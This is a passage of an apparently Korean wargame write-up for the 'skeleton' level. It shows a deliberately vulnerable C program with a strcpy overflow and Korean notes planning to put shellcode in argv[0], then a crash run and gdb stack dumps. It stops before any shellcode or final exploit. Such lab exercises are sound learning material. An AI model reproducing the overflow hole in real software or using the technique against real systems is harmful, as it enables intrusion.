&lt;div&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; - argv hunter&lt;/div&gt;
&lt;div&gt;*/&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div&gt;
#include &amp;lt;stdio.h&amp;gt;&lt;/div&gt;
&lt;div&gt;#include &amp;lt;stdlib.h&amp;gt;&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div&gt;
extern char **environ;&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div&gt;
main(int argc, char *argv[])&lt;/div&gt;
&lt;div&gt;{&lt;/div&gt;
&lt;div&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; char buffer[40];&lt;/div&gt;
&lt;div&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; int i, saved_argc; // 새로운 놈이 등장했군요!&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; if(argc &amp;lt; 2){&lt;/div&gt;
&lt;div&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; printf(&quot;argv error\n&quot;); // Argv 2개 이상써야댐&lt;/div&gt;
&lt;div&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; exit(0);&lt;/div&gt;
&lt;div&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; }&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; // egghunter&lt;/div&gt;
&lt;div&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; for(i=0; environ[i]; i++) // 환경변수 초기화&lt;/div&gt;
&lt;div&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; memset(environ[i], 0, strlen(environ[i]));&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; if(argv[1][47] != &#039;\xbf&#039;) // RTL 못 쓰게 금지&lt;/div&gt;
&lt;div&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; {&lt;/div&gt;
&lt;div&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; printf(&quot;stack is still your friend.\n&quot;);&lt;/div&gt;
&lt;div&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; exit(0);&lt;/div&gt;
&lt;div&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; }&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; // check the length of argument&lt;/div&gt;
&lt;div&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; if(strlen(argv[1]) &amp;gt; 48){ // Argv[1] 의 내용 초기화&lt;/div&gt;
&lt;div&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; printf(&quot;argument is too long!\n&quot;);&lt;/div&gt;
&lt;div&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; exit(0);&lt;/div&gt;
&lt;div&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; }&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; // argc saver&lt;/div&gt;
&lt;div&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; saved_argc = argc; // saved_argc 함수를 argc 로 초기화합니다.&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; strcpy(buffer, argv[1]);&lt;/div&gt;
&lt;div&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; printf(&quot;%s\n&quot;, buffer);&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; // buffer hunter&lt;/div&gt;
&lt;div&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; memset(buffer, 0, 40); // 버퍼 초기화&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; // ultra argv hunter!&lt;/div&gt;
&lt;div&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; for(i=0; i&amp;lt;saved_argc; i++)&lt;/div&gt;
&lt;div&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; memset(argv[i], 0, strlen(argv[i])); // 인자를 모두 초기화 하는 막강한 놈이군요 -_____- ;&lt;/div&gt;
&lt;div&gt;}&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div&gt;
인자를 모두 초기화하는 진짜 말 그대로 더러운 놈 입니다.&lt;/div&gt;
&lt;div&gt;어떻게 공격을 해야할까요... 보면 Argv[0] 은 프로그램이 실행되면 찌꺼기가 스택의 꼭대기로 올라가는&lt;/div&gt;
&lt;div&gt;특이한 성질이 있습니다. 그러니깐 트롤처럼 Argv[0] 에 NOP 와 쉘코드를 넣어주고 소스로 찾는게 아닌&lt;/div&gt;
&lt;div&gt;직접 GDB 로 분석해서 꼭대기로 리턴시켜주어야 합니다.&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div&gt;
꼭대기에 어떤 찌꺼기가 있는지 확인해보도록 하겠습니다.&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div&gt;
[vampire@localhost xodnr]$ ./skeleton aa&lt;/div&gt;
&lt;div&gt;stack is still your friend.&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div&gt;
[vampire@localhost xodnr]$ ulimit -c unlimited&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div&gt;
[vampire@localhost xodnr]$ ./skeleton `python -c &#039;print &quot;\xbf&quot;*48&#039;`&lt;/div&gt;
&lt;div&gt;¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿&lt;/div&gt;
&lt;div&gt;Segmentation fault (core dumped)&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div&gt;
[vampire@localhost xodnr]$ gdb -q skeleton core&lt;/div&gt;
&lt;div&gt;Core was generated by ` &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &#039;.&lt;/div&gt;
&lt;div&gt;Program terminated with signal 11, Segmentation fault.&lt;/div&gt;
&lt;div&gt;Reading symbols from /lib/libc.so.6...ddone.&lt;/div&gt;
&lt;div&gt;Reading symbols from /lib/ld-linux.so.2...idone.&lt;/div&gt;
&lt;div&gt;#0 &amp;nbsp;0xbfbfbfbf in ?? ()&lt;/div&gt;
&lt;div&gt;(gdb) x/50x $esp&lt;/div&gt;
&lt;div&gt;0xbffffb30: &amp;nbsp; &amp;nbsp; 0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0xbffffb74 &amp;nbsp; &amp;nbsp; &amp;nbsp;0xbffffb80 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x40013868&lt;/div&gt;
&lt;div&gt;0xbffffb40: &amp;nbsp; &amp;nbsp; 0x00000002 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x08048450 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x08048471&lt;/div&gt;
&lt;div&gt;0xbffffb50: &amp;nbsp; &amp;nbsp; 0x08048500 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000002 &amp;nbsp; &amp;nbsp; &amp;nbsp;0xbffffb74 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x08048390&lt;/div&gt;
&lt;div&gt;0xbffffb60: &amp;nbsp; &amp;nbsp; 0x080486ac &amp;nbsp; &amp;nbsp; &amp;nbsp;0x4000ae60 &amp;nbsp; &amp;nbsp; &amp;nbsp;0xbffffb6c &amp;nbsp; &amp;nbsp; &amp;nbsp;0x40013e90&lt;/div&gt;
&lt;div&gt;0xbffffb70: &amp;nbsp; &amp;nbsp; 0x00000002 &amp;nbsp; &amp;nbsp; &amp;nbsp;0xbffffc66 &amp;nbsp; &amp;nbsp; &amp;nbsp;0xbffffc71 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000&lt;/div&gt;
&lt;div&gt;0xbffffb80: &amp;nbsp; &amp;nbsp; 0xbffffca2 &amp;nbsp; &amp;nbsp; &amp;nbsp;0xbffffcc4 &amp;nbsp; &amp;nbsp; &amp;nbsp;0xbffffcce &amp;nbsp; &amp;nbsp; &amp;nbsp;0xbffffcdc&lt;/div&gt;
&lt;div&gt;0xbffffb90: &amp;nbsp; &amp;nbsp; 0xbffffcfb &amp;nbsp; &amp;nbsp; &amp;nbsp;0xbffffd0b &amp;nbsp; &amp;nbsp; &amp;nbsp;0xbffffd24 &amp;nbsp; &amp;nbsp; &amp;nbsp;0xbffffd41&lt;/div&gt;
&lt;div&gt;0xbffffba0: &amp;nbsp; &amp;nbsp; 0xbffffd4c &amp;nbsp; &amp;nbsp; &amp;nbsp;0xbffffd5a &amp;nbsp; &amp;nbsp; &amp;nbsp;0xbffffd9d &amp;nbsp; &amp;nbsp; &amp;nbsp;0xbffffdb0&lt;/div&gt;
&lt;div&gt;0xbffffbb0: &amp;nbsp; &amp;nbsp; 0xbffffdc5 &amp;nbsp; &amp;nbsp; &amp;nbsp;0xbffffdd5 &amp;nbsp; &amp;nbsp; &amp;nbsp;0xbffffde2 &amp;nbsp; &amp;nbsp; &amp;nbsp;0xbffffe01&lt;/div&gt;
&lt;div&gt;0xbffffbc0: &amp;nbsp; &amp;nbsp; 0xbffffe0c &amp;nbsp; &amp;nbsp; &amp;nbsp;0xbffffe19 &amp;nbsp; &amp;nbsp; &amp;nbsp;0xbffffe21 &amp;nbsp; &amp;nbsp; &amp;nbsp;0xbfffffe4&lt;/div&gt;
&lt;div&gt;0xbffffbd0: &amp;nbsp; &amp;nbsp; 0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000003 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x08048034 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000004&lt;/div&gt;
&lt;div&gt;0xbffffbe0: &amp;nbsp; &amp;nbsp; 0x00000020 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000005 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000006 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000006&lt;/div&gt;
&lt;div&gt;0xbffffbf0: &amp;nbsp; &amp;nbsp; 0x00001000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000007&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div&gt;
(gdb)&lt;/div&gt;
&lt;div&gt;0xbffffbf8: &amp;nbsp; &amp;nbsp; 0x40000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000008 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000009&lt;/div&gt;
&lt;div&gt;0xbffffc08: &amp;nbsp; &amp;nbsp; 0x08048450 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x0000000b &amp;nbsp; &amp;nbsp; &amp;nbsp;0x000001fd &amp;nbsp; &amp;nbsp; &amp;nbsp;0x0000000c&lt;/div&gt;
&lt;div&gt;0xbffffc18: &amp;nbsp; &amp;nbsp; 0x000001fd &amp;nbsp; &amp;nbsp; &amp;nbsp;0x0000000d &amp;nbsp; &amp;nbsp; &amp;nbsp;0x000001fd &amp;nbsp; &amp;nbsp; &amp;nbsp;0x0000000e&lt;/div&gt;
&lt;div&gt;0xbffffc28: &amp;nbsp; &amp;nbsp; 0x000001fd &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000010 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x0fe9fbff &amp;nbsp; &amp;nbsp; &amp;nbsp;0x0000000f&lt;/div&gt;
&lt;div&gt;0xbffffc38: &amp;nbsp; &amp;nbsp; 0xbffffc61 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000&lt;/div&gt;
&lt;div&gt;0xbffffc48: &amp;nbsp; &amp;nbsp; 0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000&lt;/div&gt;
&lt;div&gt;0xbffffc58: &amp;nbsp; &amp;nbsp; 0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x38366900 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000036&lt;/div&gt;
&lt;div&gt;0xbffffc68: &amp;nbsp; &amp;nbsp; 0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000&lt;/div&gt;
&lt;div&gt;0xbffffc78: &amp;nbsp; &amp;nbsp; 0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000&lt;/div&gt;
&lt;div&gt;0xbffffc88: &amp;nbsp; &amp;nbsp; 0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000&lt;/div&gt;
&lt;div&gt;0xbffffc98: &amp;nbsp; &amp;nbsp; 0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000&lt;/div&gt;
&lt;div&gt;0xbffffca8: &amp;nbsp; &amp;nbsp; 0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000&lt;/div&gt;
&lt;div&gt;0xbffffcb8: &amp;nbsp; &amp;nbsp; 0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div&gt;
(gdb)&lt;/div&gt;
&lt;div&gt;0xbffffcc0: &amp;nbsp; &amp;nbsp; 0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000&lt;/div&gt;
&lt;div&gt;0xbffffcd0: &amp;nbsp; &amp;nbsp; 0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000&lt;/div&gt;
&lt;div&gt;0xbffffce0: &amp;nbsp; &amp;nbsp; 0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000&lt;/div&gt;
&lt;div&gt;0xbffffcf0: &amp;nbsp; &amp;nbsp; 0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000&lt;/div&gt;
&lt;div&gt;0xbffffd00: &amp;nbsp; &amp;nbsp; 0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000&lt;/div&gt;
&lt;div&gt;0xbffffd10: &amp;nbsp; &amp;nbsp; 0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000&lt;/div&gt;
&lt;div&gt;0xbffffd20: &amp;nbsp; &amp;nbsp; 0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000&lt;/div&gt;
&lt;div&gt;0xbffffd30: &amp;nbsp; &amp;nbsp; 0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000&lt;/div&gt;
&lt;div&gt;0xbffffd40: &amp;nbsp; &amp;nbsp; 0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000&lt;/div&gt;
&lt;div&gt;0xbffffd50: &amp;nbsp; &amp;nbsp; 0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000&lt;/div&gt;
&lt;div&gt;0xbffffd60: &amp;nbsp; &amp;nbsp; 0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000&lt;/div&gt;
&lt;div&gt;0xbffffd70: &amp;nbsp; &amp;nbsp; 0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000&lt;/div&gt;
&lt;div&gt;0xbffffd80: &amp;nbsp; &amp;nbsp; 0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div&gt;
(gdb)&lt;/div&gt;
&lt;div&gt;0xbffffd88: &amp;nbsp; &amp;nbsp; 0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000&lt;/div&gt;
&lt;div&gt;0xbffffd98: &amp;nbsp; &amp;nbsp; 0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000&lt;/div&gt;
&lt;div&gt;0xbffffda8: &amp;nbsp; &amp;nbsp; 0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000&lt;/div&gt;
&lt;div&gt;0xbffffdb8: &amp;nbsp; &amp;nbsp; 0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000&lt;/div&gt;
&lt;div&gt;0xbffffdc8: &amp;nbsp; &amp;nbsp; 0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000&lt;/div&gt;
&lt;div&gt;0xbffffdd8: &amp;nbsp; &amp;nbsp; 0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000&lt;/div&gt;
&lt;div&gt;0xbffffde8: &amp;nbsp; &amp;nbsp; 0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000&lt;/div&gt;
&lt;div&gt;0xbffffdf8: &amp;nbsp; &amp;nbsp; 0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000&lt;/div&gt;
&lt;div&gt;0xbffffe08: &amp;nbsp; &amp;nbsp; 0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000&lt;/div&gt;
&lt;div&gt;0xbffffe18: &amp;nbsp; &amp;nbsp; 0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000&lt;/div&gt;
&lt;div&gt;0xbffffe28: &amp;nbsp; &amp;nbsp; 0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000&lt;/div&gt;
&lt;div&gt;0xbffffe38: &amp;nbsp; &amp;nbsp; 0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000&lt;/div&gt;
&lt;div&gt;0xbffffe48: &amp;nbsp; &amp;nbsp; 0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div&gt;
(gdb)&lt;/div&gt;
&lt;div&gt;0xbffffe50: &amp;nbsp; &amp;nbsp; 0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000&lt;/div&gt;
&lt;div&gt;0xbffffe60: &amp;nbsp; &amp;nbsp; 0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000&lt;/div&gt;
&lt;div&gt;0xbffffe70: &amp;nbsp; &amp;nbsp; 0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000&lt;/div&gt;
&lt;div&gt;0xbffffe80: &amp;nbsp; &amp;nbsp; 0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000&lt;/div&gt;
&lt;div&gt;0xbffffe90: &amp;nbsp; &amp;nbsp; 0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000&lt;/div&gt;
&lt;div&gt;0xbffffea0: &amp;nbsp; &amp;nbsp; 0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000&lt;/div&gt;
&lt;div&gt;0xbffffeb0: &amp;nbsp; &amp;nbsp; 0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000&lt;/div&gt;
&lt;div&gt;0xbffffec0: &amp;nbsp; &amp;nbsp; 0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000&lt;/div&gt;
&lt;div&gt;0xbffffed0: &amp;nbsp; &amp;nbsp; 0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000&lt;/div&gt;
&lt;div&gt;0xbffffee0: &amp;nbsp; &amp;nbsp; 0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000&lt;/div&gt;
&lt;div&gt;0xbffffef0: &amp;nbsp; &amp;nbsp; 0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000&lt;/div&gt;
&lt;div&gt;0xbfffff00: &amp;nbsp; &amp;nbsp; 0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000&lt;/div&gt;
&lt;div&gt;0xbfffff10: &amp;nbsp; &amp;nbsp; 0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div&gt;
(gdb)&lt;/div&gt;
&lt;div&gt;0xbfffff18: &amp;nbsp; &amp;nbsp; 0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000&lt;/div&gt;
&lt;div&gt;0xbfffff28: &amp;nbsp; &amp;nbsp; 0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000&lt;/div&gt;
&lt;div&gt;0xbfffff38: &amp;nbsp; &amp;nbsp; 0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000&lt;/div&gt;
&lt;div&gt;0xbfffff48: &amp;nbsp; &amp;nbsp; 0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000&lt;/div&gt;
&lt;div&gt;0xbfffff58: &amp;nbsp; &amp;nbsp; 0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000&lt;/div&gt;
